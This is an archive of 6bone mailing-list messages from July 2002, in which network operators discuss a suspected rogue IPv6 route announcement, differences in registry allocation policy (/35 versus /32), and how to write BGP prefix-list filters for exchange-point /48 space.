> http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From tvo@EnterZone.Net Fri Jul 19 18:51:37 2002
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Date: Fri, 19 Jul 2002 21:51:33 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Daniel Hirche <daniel@prisec.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Rogue announcement from rogue ASN?
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Um, it doesn't exist.

2001:0430:0000:0000:0000:0000:0000:0000/35 is *NOT*
2001:0430:0000:0000:0000:0000:0000:0000/32

Note that the record is a /35.  As of yesterday when 2001:4f0::/35 was
assigned to us, ARIN was not allocating /32's according to the email I
received from them.  I requested a /32 per
http://www.arin.net/ipv6/templates/instr.html

Here's what ARIN said:

Date: Thu, 18 Jul 2002 09:34:27 -0400 (EDT)
From: V6 Registration Role Account <v6@arin.net>
To: John.Fraizer@ENTERZONE.NET
Subject: Re: [ARIN-20020717.193] IPv6 REQUEST

Hello,

RE:  Your IPv6 address request

The American Registry for Internet Numbers (ARIN) administers IP
Number registration including ISP CIDR, IPv6 and IPv4 Network Numbers,
Autonomous System Number (ASN), Inverse Mapping (IN-ADDR), and
Reassign (SWIP) requests.

A message will be mail later on today containing your allocation
of a IPv6  /35.

ARIN does not issue /32's at this time, however you will be eligible
for an upgrade to a /32 when the new policy goes into effect.

You may already be aware of the
http://www.arin.net/minutes/bot/bot12142000.html URL and the ARIN
Board of Trustees' action on the IPv6 registration fee item from the
October, 2000 member meeting. This IPv6 approval and allocation
currently carry no fees for EnterZone, Inc per the board
decision presented in the document.

Regards,

James Sybert
IPV6 Registration Services
American Registry for Internet Numbers
====================================================================
   email                               v6@arin.net
   voice                              (703) 227-0660
====================================================================



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Sat, 20 Jul 2002, Daniel Hirche wrote:

> And btw!
> 
> [whois.arin.net]
> ARIN-001                            
> 2001:0400:0000:0000:0000:0000:0000:0000/23
> DISN-LES-V6                         
> 2001:0430:0000:0000:0000:0000:0000:0000/35
> 
> It exist.
> 
> ASn too:
> 
> [whois.nic.mil]
> USN SPAWAR SYSTEM CENTER CHARLESTON (UNCLAS-DEFUN-ASN)
>    PO 190022
>    NORTH CHARLESTON, SC 29419
> 
>    Autonomous System Name: UNCLAS-DEFENSENET
>    Autonomous System Number: 5994
>    PLA: SPAWARSYSCEN CHARLESTON SC
> 
> 
> regards,
> 	--daniel
> 
> 
> On Fri, 19 Jul 2002, John Fraizer wrote:
> 
> > 
> > I'm seeing the following announcement:
> > [...]
> 



From tvo@EnterZone.Net Fri Jul 19 18:57:19 2002
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Date: Fri, 19 Jul 2002 21:57:16 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Christian Nickel <dragon@tdoi.org>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Rogue announcement from rogue ASN?
In-Reply-To: <001101c22f8b$7606c530$fd04a80a@alpha>
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USN SPAWAR SYSTEM CENTER CHARLESTON (UNCLAS-DEFUN-ASN)
   PO 190022
   NORTH CHARLESTON, SC 29419

   Autonomous System Name: UNCLAS-DEFENSENET
   Autonomous System Number: 5994
   PLA: SPAWARSYSCEN CHARLESTON SC

   Technical Contact:
      Brig, Michael P. [SSCC NGI PROGRAM MANAGER]  (MPB)
      (843) 218-4675 (DSN) 588-4675 (FAX)(843) 218-4675
      BRIGM@SPAWAR.NAVY.MIL
   Administrative Contact:
      DoD, Hostmaster  (HOSTMASTER)
      (800) 365-3642 (FAX)(703) 676-1749
      HOSTMASTER@NIC.MIL

   Record last updated on 15-Sep-2000.

OK.  So 5994 is valid.  The enquiry at ARIN did not point me to the
nic.mil database. It is still strange that I see the /32 (which I still
say is rogue since ARIN hasn't changed the policy yet) via such a long
route since I peer with AS22 *AT* SPAWAR System Center Charleston and
Michael is our contact for that peering session.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From daniel@prisec.net Fri Jul 19 19:06:39 2002
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 >
Subject: Re: [6bone] Rogue announcement from rogue ASN?
To: John Fraizer <tvo@EnterZone.Net>
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Hi,

--On Friday, July 19, 2002 9:51 PM -0400 John Fraizer <tvo@EnterZone.Net> 
wrote:

>
> Um, it doesn't exist.
>
> 2001:0430:0000:0000:0000:0000:0000:0000/35 is *NOT*
> 2001:0430:0000:0000:0000:0000:0000:0000/32

It is ;-)

http://www.ripe.net/ipv6/press-release-20020701.html

RIPE said on July 1st, ALL RIR changed their policy to /32.

*wondering*

regards,
	--daniel

>
> Note that the record is a /35.  As of yesterday when 2001:4f0::/35 was
> assigned to us, ARIN was not allocating /32's according to the email I
> received from them.  I requested a /32 per
> http://www.arin.net/ipv6/templates/instr.html
>
> Here's what ARIN said:
>
> Date: Thu, 18 Jul 2002 09:34:27 -0400 (EDT)
> From: V6 Registration Role Account <v6@arin.net>
> To: John.Fraizer@ENTERZONE.NET
> Subject: Re: [ARIN-20020717.193] IPv6 REQUEST
>
> Hello,
>
> RE:  Your IPv6 address request
>
> The American Registry for Internet Numbers (ARIN) administers IP
> Number registration including ISP CIDR, IPv6 and IPv4 Network Numbers,
> Autonomous System Number (ASN), Inverse Mapping (IN-ADDR), and
> Reassign (SWIP) requests.
>
> A message will be mail later on today containing your allocation
> of a IPv6  /35.
>
> ARIN does not issue /32's at this time, however you will be eligible
> for an upgrade to a /32 when the new policy goes into effect.
>
> You may already be aware of the
> http://www.arin.net/minutes/bot/bot12142000.html URL and the ARIN
> Board of Trustees' action on the IPv6 registration fee item from the
> October, 2000 member meeting. This IPv6 approval and allocation
> currently carry no fees for EnterZone, Inc per the board
> decision presented in the document.
>
> Regards,
>
> James Sybert
> IPV6 Registration Services
> American Registry for Internet Numbers
> ====================================================================
>    email                               v6@arin.net
>    voice                              (703) 227-0660
> ====================================================================
> [....]



From tvo@EnterZone.Net Fri Jul 19 19:28:37 2002
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Date: Fri, 19 Jul 2002 22:28:34 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Daniel Hirche <daniel@prisec.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Rogue announcement from rogue ASN?
In-Reply-To: <52694841.1027137989@[172.16.2.2]>
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On Sat, 20 Jul 2002, Daniel Hirche wrote:

> Hi,
> 
> --On Friday, July 19, 2002 9:51 PM -0400 John Fraizer <tvo@EnterZone.Net> 
> wrote:
> 
> >
> > Um, it doesn't exist.
> >
> > 2001:0430:0000:0000:0000:0000:0000:0000/35 is *NOT*
> > 2001:0430:0000:0000:0000:0000:0000:0000/32
> 
> It is ;-)

OK.  Well, I put those in the wrong order.

2001:0430:0000:0000:0000:0000:0000:0000/32 is *NOT*
2001:0430:0000:0000:0000:0000:0000:0000/35

2001:0430::/32 only includes:
2001:0430:0000:0000:0000:0000:0000:0000 - 2001:0430:1FFF:FFFF:FFFF:FFFF:FFFF:FFFF

> 
> http://www.ripe.net/ipv6/press-release-20020701.html
> 
> RIPE said on July 1st, ALL RIR changed their policy to /32.
> 
> *wondering*
> 
> regards,
> 	--daniel



So, I should be announcing 2001:4f0::/32 even though the ARIN database
says 2001:4f0::/35?


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From daniel@prisec.net Fri Jul 19 19:40:09 2002
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References:  <Pine.LNX.4.21.0207192224330.31178-100000@Overkill.EnterZone.Net
 >
Subject: Re: [6bone] Rogue announcement from rogue ASN?
To: John Fraizer <tvo@EnterZone.Net>
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Hi,

--On Friday, July 19, 2002 10:28 PM -0400 John Fraizer <tvo@EnterZone.Net> 
wrote:

> [...]
> 2001:0430:0000:0000:0000:0000:0000:0000/32 is *NOT*
> 2001:0430:0000:0000:0000:0000:0000:0000/35
>
> 2001:0430::/32 only includes:
> 2001:0430:0000:0000:0000:0000:0000:0000 -
> 2001:0430:1FFF:FFFF:FFFF:FFFF:FFFF:FFFF

2001:0430::/32 includes 2001:0430::/35

> [...]
>> http://www.ripe.net/ipv6/press-release-20020701.html
>>
>> RIPE said on July 1st, ALL RIR changed their policy to /32.
>>
>> *wondering*
> [...]
>
> So, I should be announcing 2001:4f0::/32 even though the ARIN database
> says 2001:4f0::/35?

No, you should not, because it's 4:30am here and I went wrong.
ARIN did not change their policy, only RIPE and APNIC did. Sorry for that 
confusion.

Due to this, DISN-LES-V6 should not aggregate both /32 and /35 until ARIN 
did not change their policy.

regards,
	--daniel

From tvo@EnterZone.Net Fri Jul 19 20:11:50 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Daniel Hirche <daniel@prisec.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Rogue announcement from rogue ASN?
In-Reply-To: <54699954.1027139994@[172.16.2.2]>
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On Sat, 20 Jul 2002, Daniel Hirche wrote:

> Hi,
> 
> --On Friday, July 19, 2002 10:28 PM -0400 John Fraizer <tvo@EnterZone.Net> 
> wrote:
> 
> > [...]
> > 2001:0430:0000:0000:0000:0000:0000:0000/32 is *NOT*
> > 2001:0430:0000:0000:0000:0000:0000:0000/35
> >
> > 2001:0430::/32 only includes:
> > 2001:0430:0000:0000:0000:0000:0000:0000 -
> > 2001:0430:1FFF:FFFF:FFFF:FFFF:FFFF:FFFF
> 
> 2001:0430::/32 includes 2001:0430::/35
> 

Doh!  That should have said "2001:0430::/35 only includes:"

> ARIN did not change their policy, only RIPE and APNIC did. Sorry for that 
> confusion.
> 
> Due to this, DISN-LES-V6 should not aggregate both /32 and /35 until ARIN 
> did not change their policy.
> 
> regards,
> 	--daniel


Anyone know when ARIN is going to follow suit with the rest of the world?



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From raphit@sveren.raphit.net Sat Jul 20 01:08:17 2002
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Date: Sat, 20 Jul 2002 10:08:52 +0200
From: Raphael Bouaziz <raphit@noemie.org>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Rogue announcement from rogue ASN?
Message-ID: <20020720100852.A62257@noemie.org>
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On Fri, Jul 19, 2002, John Fraizer wrote:
> I'm seeing the following announcement:
> 
> *  2001:430::/32    3ffe:1ced:ff05::2
>                                                            0 22 10566 5594 13193 109 17965 5609 4554 278 6939 2497 5994 i
> *                   3ffe:c00:8023:4::1
>                                                            0 109 3748 3786 10566 8379 8277 45328 2042 6435 6175 2497 5994 i
             ^^^^^

AS5994 is OK, but I don't think that AS45328 is really assigned...

-- 
Raphael Bouaziz.
raphit@noemie.org - http://noemie.nerim.net/
Sysadmin Power Forever(TM).

From b6354@ms25.hinet.net Sat Jul 20 05:59:14 2002
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From bmanning@ISI.EDU Sat Jul 20 06:23:41 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200207201323.g6KDNVr27147@boreas.isi.edu>
Subject: Re: [6bone] Rogue announcement from rogue ASN?
In-Reply-To: <Pine.LNX.4.21.0207192310450.31178-100000@Overkill.EnterZone.Net> from John Fraizer at "Jul 19, 2 11:11:47 pm"
To: tvo@EnterZone.Net (John Fraizer)
Date: Sat, 20 Jul 2002 06:23:31 -0700 (PDT)
Cc: daniel@prisec.net, 6bone@ISI.EDU
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% On Sat, 20 Jul 2002, Daniel Hirche wrote:
% 
% > Hi,
% > 
% > --On Friday, July 19, 2002 10:28 PM -0400 John Fraizer <tvo@EnterZone.Net> 
% > wrote:
% > 
% > > [...]
% > > 2001:0430:0000:0000:0000:0000:0000:0000/32 is *NOT*
% > > 2001:0430:0000:0000:0000:0000:0000:0000/35
% > >
% > > 2001:0430::/32 only includes:
% > > 2001:0430:0000:0000:0000:0000:0000:0000 -
% > > 2001:0430:1FFF:FFFF:FFFF:FFFF:FFFF:FFFF
% > 
% > 2001:0430::/32 includes 2001:0430::/35
% > 
% 
% Doh!  That should have said "2001:0430::/35 only includes:"
% 
% > ARIN did not change their policy, only RIPE and APNIC did. Sorry for that 
% > confusion.
% > 
% > Due to this, DISN-LES-V6 should not aggregate both /32 and /35 until ARIN 
% > did not change their policy.
% > 
% > regards,
% > 	--daniel
% 
% 
% Anyone know when ARIN is going to follow suit with the rest of the world?
% 
% 
% 
% ---
% John Fraizer              | High-Security Datacenter Services |
% EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
% http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


	I beleive that you might see a change 
	soon.

-- 
--bill

From bmanning@ISI.EDU Sun Jul 21 09:16:41 2002
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this prefix has/is being carved up into /48 and /64 subnets for
use at exchange points and other infrastructure support services.

Do not expect to see it aggregated. 

-- bill manning

From michel@arneill-py.sacramento.ca.us Sun Jul 21 11:35:56 2002
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Subject: RE: [6bone] 2001:478::  as /48
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Bill,

I don't see it as unaggregated and I believe I'm not the only one. I
dropped my ipv6 prefix-lists and I have a BGP4+ feed from three
different pTLAs.

Is there any document you can point us to that specifies that it should
be unaggregated? It is possible that a very small portion of the 6bone
will actually see a /48, as my understanding is a number of us do indeed
use something more or less than:

ipv6 prefix-list strict seq 5 permit 3ffe::/17 ge 24 le 24
ipv6 prefix-list strict seq 10 permit 3ffe:8000::/17 ge 28 le 28
ipv6 prefix-list strict seq 15 permit 3ffe:4000::/18 ge 32 le 32
ipv6 prefix-list strict seq 20 permit 2000::/3 ge 16 le 16
ipv6 prefix-list strict seq 25 permit 2001::/16 ge 29 le 35
ipv6 prefix-list strict seq 30 deny 2000::/3

[prefix-list stolen from Pim Van Pelt]

Michel.


-----Original Message-----
From: Bill Manning [mailto:bmanning@ISI.EDU] 
Sent: Sunday, July 21, 2002 9:17 AM
To: 6bone@ISI.EDU
Cc: Bill Manning
Subject: [6bone] 2001:478:: as /48



this prefix has/is being carved up into /48 and /64 subnets for
use at exchange points and other infrastructure support services.

Do not expect to see it aggregated. 

-- bill manning
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From noc@ENTERZONE.NET Sun Jul 21 12:15:54 2002
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Subject: Re: [6bone] 2001:478::  as /48
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On Sun, 21 Jul 2002, Bill Manning wrote:

> 
> 
> this prefix has/is being carved up into /48 and /64 subnets for
> use at exchange points and other infrastructure support services.
> 
> Do not expect to see it aggregated. 
> 
> -- bill manning
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


So, something on the order of:

ipv6 prefix-list agregates seq 10 permit 2001:478::/35 le 64

...should work to accept these prefixes, right?



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From pim@ipng.nl Sun Jul 21 12:18:38 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Bill Manning <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: Re: [6bone] 2001:478::  as /48
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Hoi,

The below prefix-list used to be used by me (and possibly others) only on
outgoing announcements. However, with all sorts of individuals
deliberately breaking the strict aggregation model by announcing and
transitting /48s, I sometimes saw traffic to one of my peers' customers
networks travel wicked paths, because they do send me aggregated routes
(thus filtering the /48) but their customers peer with other people as
well creating a more specific in my routing tables via operators who do
not use egress filtering.

This is why I have adapted the strict filtering in egress as well as
ingress these days. 

By the way, looking at the 'strict' prefix list below, I would like to
bring it to the general attention that '3ffe::/17' does no longer exist,
since we started to use the /32 prefixes in 3ffe:4000::/18, thus
chopping the lower half of the /16 in half. For 6bone, it is now:

3ffe::/18 ge 24 le 24
3ffe:4000::/18 ge 32 le 32
3ffe:8000::/17 ge 28 le 28

From other places, I hear that having /48 or even /64 in the route table
could be 'acceptable'. One might argue that an operator with a large
router box with much memory can opt to have a 'full view' with all the
more specifics, and an operator with a smaller box can opt to have a
'strict full view' with only aggregated prefixes.

Nobody will lose connectivity in the latter case, if and only if we keep
on having at least a route to the more specific in the aggregating AS.
For me, I'll stick to BOFH mode (ie, strict filtering) until we have a
best common practice.

On Sun, Jul 21, 2002 at 11:35:47AM -0700, Michel Py wrote:
| Bill,
| 
| I don't see it as unaggregated and I believe I'm not the only one. I
| dropped my ipv6 prefix-lists and I have a BGP4+ feed from three
| different pTLAs.
| 
| Is there any document you can point us to that specifies that it should
| be unaggregated? It is possible that a very small portion of the 6bone
| will actually see a /48, as my understanding is a number of us do indeed
| use something more or less than:
| 
| ipv6 prefix-list strict seq 5 permit 3ffe::/17 ge 24 le 24
| ipv6 prefix-list strict seq 10 permit 3ffe:8000::/17 ge 28 le 28
| ipv6 prefix-list strict seq 15 permit 3ffe:4000::/18 ge 32 le 32
| ipv6 prefix-list strict seq 20 permit 2000::/3 ge 16 le 16
| ipv6 prefix-list strict seq 25 permit 2001::/16 ge 29 le 35
| ipv6 prefix-list strict seq 30 deny 2000::/3
| 
| [prefix-list stolen from Pim Van Pelt]
| 
| Michel.
| 
| 
| -----Original Message-----
| From: Bill Manning [mailto:bmanning@ISI.EDU] 
| Sent: Sunday, July 21, 2002 9:17 AM
| To: 6bone@ISI.EDU
| Cc: Bill Manning
| Subject: [6bone] 2001:478:: as /48
| 
| 
| 
| this prefix has/is being carved up into /48 and /64 subnets for
| use at exchange points and other infrastructure support services.
| 
| Do not expect to see it aggregated. 
| 
| -- bill manning
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From noc@ENTERZONE.NET Sun Jul 21 12:26:21 2002
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To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: Bill Manning <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: RE: [6bone] 2001:478::  as /48
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On Sun, 21 Jul 2002, Michel Py wrote:

> Bill,
> 
> I don't see it as unaggregated and I believe I'm not the only one. I
> dropped my ipv6 prefix-lists and I have a BGP4+ feed from three
> different pTLAs.
> 
> Is there any document you can point us to that specifies that it should
> be unaggregated? It is possible that a very small portion of the 6bone
> will actually see a /48, as my understanding is a number of us do indeed
> use something more or less than:
> 
> ipv6 prefix-list strict seq 5 permit 3ffe::/17 ge 24 le 24
> ipv6 prefix-list strict seq 10 permit 3ffe:8000::/17 ge 28 le 28
> ipv6 prefix-list strict seq 15 permit 3ffe:4000::/18 ge 32 le 32
> ipv6 prefix-list strict seq 20 permit 2000::/3 ge 16 le 16
> ipv6 prefix-list strict seq 25 permit 2001::/16 ge 29 le 35
> ipv6 prefix-list strict seq 30 deny 2000::/3
> 
> [prefix-list stolen from Pim Van Pelt]
> 
> Michel.


Michel,

Bill was just notifying us that we SHOULD accept the prefixes as
un-aggregated, not that they were in the wild yet, unaggregated.  The
reason you may not be seeing them (at least from us) as unaggregated is
that I have yet to open up our filters to them until I get verification
from Bill that my filter is right.  I don't wanna leak the wrong thing. As
for documentation, I generally take Bill at his word when it comes to
things like this.

Bill, if you will, please add CMH-IX (http://www.cmh-ix.net/) to the list
of IPv6 exchanges at www.ep.net.  The CMH-IX site itself will be updated
to reflect this service sometime this weekend.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From tvo@EnterZone.Net Sun Jul 21 12:28:38 2002
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Date: Sun, 21 Jul 2002 15:28:37 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
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Will akurathi_ravi@magicaldesk.com please do one or more of these things:

(1)Have your mailserver stop sending these messages.
(2)Beg your admin for a larger quota.
(3)Purge your existing mailbox so you have room for new mail.

I'm tired of receiving the following every time I post to the list:


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




Dear Sir/Madam


Your message cannot be delivered to the recipient,
akurathi_ravi@magicaldesk.com, because his/her mail box storage limit has
exceeded.


The summary of your previous message:

From:         John Fraizer <tvo@ENTERZONE.NET>

To:           Bill Manning <bmanning@ISI.EDU>

Cc:           6bone@ISI.EDU

Sent Date:    Mon Jul 22 03:15:51 CST 2002

Subject:      Re: [6bone] 2001:478::  as /48

Body:

*****************




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Subject: Re: [6bone] 2001:478::  as /48
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----- Original Message ----- 
From: "Pim van Pelt" <pim@ipng.nl>
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
Cc: "Bill Manning" <bmanning@ISI.EDU>; <6bone@ISI.EDU>
Sent: Sunday, July 21, 2002 9:18 PM
Subject: Re: [6bone] 2001:478:: as /48


> Hoi,
> 
> The below prefix-list used to be used by me (and possibly others) only on
> outgoing announcements. However, with all sorts of individuals
> deliberately breaking the strict aggregation model by announcing and
> transitting /48s, I sometimes saw traffic to one of my peers' customers
> networks travel wicked paths, because they do send me aggregated routes
> (thus filtering the /48) but their customers peer with other people as
> well creating a more specific in my routing tables via operators who do
> not use egress filtering.
> 
> This is why I have adapted the strict filtering in egress as well as
> ingress these days. 
> 
> By the way, looking at the 'strict' prefix list below, I would like to
> bring it to the general attention that '3ffe::/17' does no longer exist,
> since we started to use the /32 prefixes in 3ffe:4000::/18, thus
> chopping the lower half of the /16 in half. For 6bone, it is now:
> 
> 3ffe::/18 ge 24 le 24
> 3ffe:4000::/18 ge 32 le 32
> 3ffe:8000::/17 ge 28 le 28

correct is:

3ffe::/18 ge 24 le 24
for 3FFE:0000::/24 thru 3FFE:3F00::/24

3ffe:4000::/20 ge 32 le 32
3FFE:4000::/32 thru 3FFE:7FFF::/32

3ffe:8000::/18 ge 28 le 28
3FFE:8000::/28 thru 3FFE:83F0::/28


3FFE:8400::/32 thru 3FFE:FFFF::/32  is for future use

> 
> >From other places, I hear that having /48 or even /64 in the route table
> could be 'acceptable'. One might argue that an operator with a large
> router box with much memory can opt to have a 'full view' with all the
> more specifics, and an operator with a smaller box can opt to have a
> 'strict full view' with only aggregated prefixes.
> 
> Nobody will lose connectivity in the latter case, if and only if we keep
> on having at least a route to the more specific in the aggregating AS.
> For me, I'll stick to BOFH mode (ie, strict filtering) until we have a
> best common practice.
> 
> On Sun, Jul 21, 2002 at 11:35:47AM -0700, Michel Py wrote:
> | Bill,
> | 
> | I don't see it as unaggregated and I believe I'm not the only one. I
> | dropped my ipv6 prefix-lists and I have a BGP4+ feed from three
> | different pTLAs.
> | 
> | Is there any document you can point us to that specifies that it should
> | be unaggregated? It is possible that a very small portion of the 6bone
> | will actually see a /48, as my understanding is a number of us do indeed
> | use something more or less than:
> | 
> | ipv6 prefix-list strict seq 5 permit 3ffe::/17 ge 24 le 24
> | ipv6 prefix-list strict seq 10 permit 3ffe:8000::/17 ge 28 le 28
> | ipv6 prefix-list strict seq 15 permit 3ffe:4000::/18 ge 32 le 32
> | ipv6 prefix-list strict seq 20 permit 2000::/3 ge 16 le 16
> | ipv6 prefix-list strict seq 25 permit 2001::/16 ge 29 le 35
> | ipv6 prefix-list strict seq 30 deny 2000::/3
> | 
> | [prefix-list stolen from Pim Van Pelt]
> | 
> | Michel.
> | 
> | 
> | -----Original Message-----
> | From: Bill Manning [mailto:bmanning@ISI.EDU] 
> | Sent: Sunday, July 21, 2002 9:17 AM
> | To: 6bone@ISI.EDU
> | Cc: Bill Manning
> | Subject: [6bone] 2001:478:: as /48
> | 
> | 
> | 
> | this prefix has/is being carved up into /48 and /64 subnets for
> | use at exchange points and other infrastructure support services.
> | 
> | Do not expect to see it aggregated. 
> | 
> | -- bill manning
> | _______________________________________________
> | 6bone mailing list
> | 6bone@mailman.isi.edu
> | http://mailman.isi.edu/mailman/listinfo/6bone
> | _______________________________________________
> | 6bone mailing list
> | 6bone@mailman.isi.edu
> | http://mailman.isi.edu/mailman/listinfo/6bone
> 
> -- 
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 
> 



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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Date: 21 Jul 2002 21:35:32 +0100
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John Fraizer <tvo@ENTERZONE.NET> writes:

> Bill was just notifying us that we SHOULD accept the prefixes as
> un-aggregated, not that they were in the wild yet, unaggregated.

No, he did not. He said we cannot expect to see an aggregate, but that
does *not* mean that we should accept /48's and /64's.

At least in RIPE region those prefixes are given out with the explicit
warning that they might not be routable. And in fact, for the specific
purposes like exchange point meshes, they don't need to be announced
at all.

Please don't try to create "PI" space by suggesting that those
prefixes should be accepted.

Robert


From Robert.Kiessling@de.easynet.net Sun Jul 21 13:27:03 2002
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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
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Subject: [6bone] MRTD BGP withdrawal bug
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Hello,

from observations of BGP tables, I came to the conclusion that MRTD
has a bug processing withdrawals of routing announcements. It looks
like this bug leads to the well-known phantom prefixes with huge AS
paths, coming together with routing loops.

I haven't yet tried to reproduce it.

Has anyone already taken a deeper look into it?

Robert


From dragon@tdoi.org Sun Jul 21 13:35:15 2002
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From: "Christian Nickel" <dragon@tdoi.org>
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References: <2B81403386729140A3A899A8B39B046405E1F8@server2000.arneill-py.sacramento.ca.us> <20020721191833.GC28689@bfib.colo.bit.nl>
Subject: Re: [6bone] 2001:478::  as /48
To: "Pim van Pelt" <pim@ipng.nl>
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hm something is wrong

>correct is:
>
>3ffe::/18 ge 24 le 24
>for 3FFE:0000::/24 thru 3FFE:3F00::/24
>
>3ffe:4000::/20 ge 32 le 32

3ffe:4000::/18 ge 32 le 32

>3FFE:4000::/32 thru 3FFE:7FFF::/32
>
>3ffe:8000::/18 ge 28 le 28

3ffe:8000::/20 ge 28 le 28

>3FFE:8000::/28 thru 3FFE:83F0::/28
>
>
>3FFE:8400::/32 thru 3FFE:FFFF::/32  is for future use




From dragon@tdoi.org Sun Jul 21 13:47:19 2002
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Subject: Re: [6bone] 2001:478::  as /48
To: "Pim van Pelt" <pim@ipng.nl>
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i promise this was the last mail today ;)
i should go to bed, too many errors in my mails

sorry

----- Original Message ----- 
From: "Christian Nickel" <dragon@tdoi.org>
To: "Pim van Pelt" <pim@ipng.nl>
Cc: <6bone@ISI.EDU>
Sent: Sunday, July 21, 2002 10:35 PM
Subject: Re: [6bone] 2001:478:: as /48


> hm something is wrong
> 
> >correct is:
> >
> >3ffe::/18 ge 24 le 24
> >for 3FFE:0000::/24 thru 3FFE:3F00::/24
> >
> >3ffe:4000::/20 ge 32 le 32
> 
> 3ffe:4000::/18 ge 32 le 32
> 
> >3FFE:4000::/32 thru 3FFE:7FFF::/32
> >
> >3ffe:8000::/18 ge 28 le 28
> 
> 3ffe:8000::/20 ge 28 le 28

3ffe:8000::/22 ge 28 le 28

> 
> >3FFE:8000::/28 thru 3FFE:83F0::/28
> >
> >
> >3FFE:8400::/32 thru 3FFE:FFFF::/32  is for future use
> 
> 



From bmanning@ISI.EDU Sun Jul 21 15:13:44 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <Pine.LNX.4.21.0207211517500.351-100000@Overkill.EnterZone.Net> from John Fraizer at "Jul 21, 2 03:25:21 pm"
To: tvo@ENTERZONE.NET (John Fraizer)
Date: Sun, 21 Jul 2002 15:12:35 -0700 (PDT)
Cc: michel@arneill-py.sacramento.ca.us, bmanning@ISI.EDU, 6bone@ISI.EDU
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% Michel,
% 
% Bill was just notifying us that we SHOULD accept the prefixes as
% un-aggregated, not that they were in the wild yet, unaggregated.  The
% reason you may not be seeing them (at least from us) as unaggregated is
% that I have yet to open up our filters to them until I get verification
% from Bill that my filter is right.  I don't wanna leak the wrong thing. As
% for documentation, I generally take Bill at his word when it comes to
% things like this.

	2001:478:x://48 are being used at a number of exchanges
	now and more are expected to follow. Some are being used 
	for other infrastructure purposes, for which you may wish
	a route to.  

	So the notice was more to point out that you should -NOT-
	accept aggregates in the range 2001:478::/35 (soon to be /32,
	as soon as ARIN adopts polciy changes).  Its up to individual
	ISPs as to which prefixes they listen to and (the subset) of 
	the listened to prefixes to announce.  

	W.R.T. "PI" space,  this qualifies just as much as the various
	RIR's ear-marked space for exchanges & infrastructure.  The
	point is that if you see things in these ranges at all, they 
	will likely be /48 or /64 entries.  And there will be reasons
	to listen... :)

% Bill, if you will, please add CMH-IX (http://www.cmh-ix.net/) to the list
% of IPv6 exchanges at www.ep.net.  The CMH-IX site itself will be updated
% to reflect this service sometime this weekend.

	I've punted the request to Jeff. <hostmaster@ep.net>

% 
% ---
% John Fraizer              | High-Security Datacenter Services |
% EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
% http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
% 
% 


-- 
--bill

From bmanning@ISI.EDU Sun Jul 21 15:15:52 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] 2001:478::  as /48
In-Reply-To: <2B81403386729140A3A899A8B39B046405E1F8@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Jul 21, 2 11:35:47 am"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
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% Bill,
% 
% I don't see it as unaggregated and I believe I'm not the only one. I
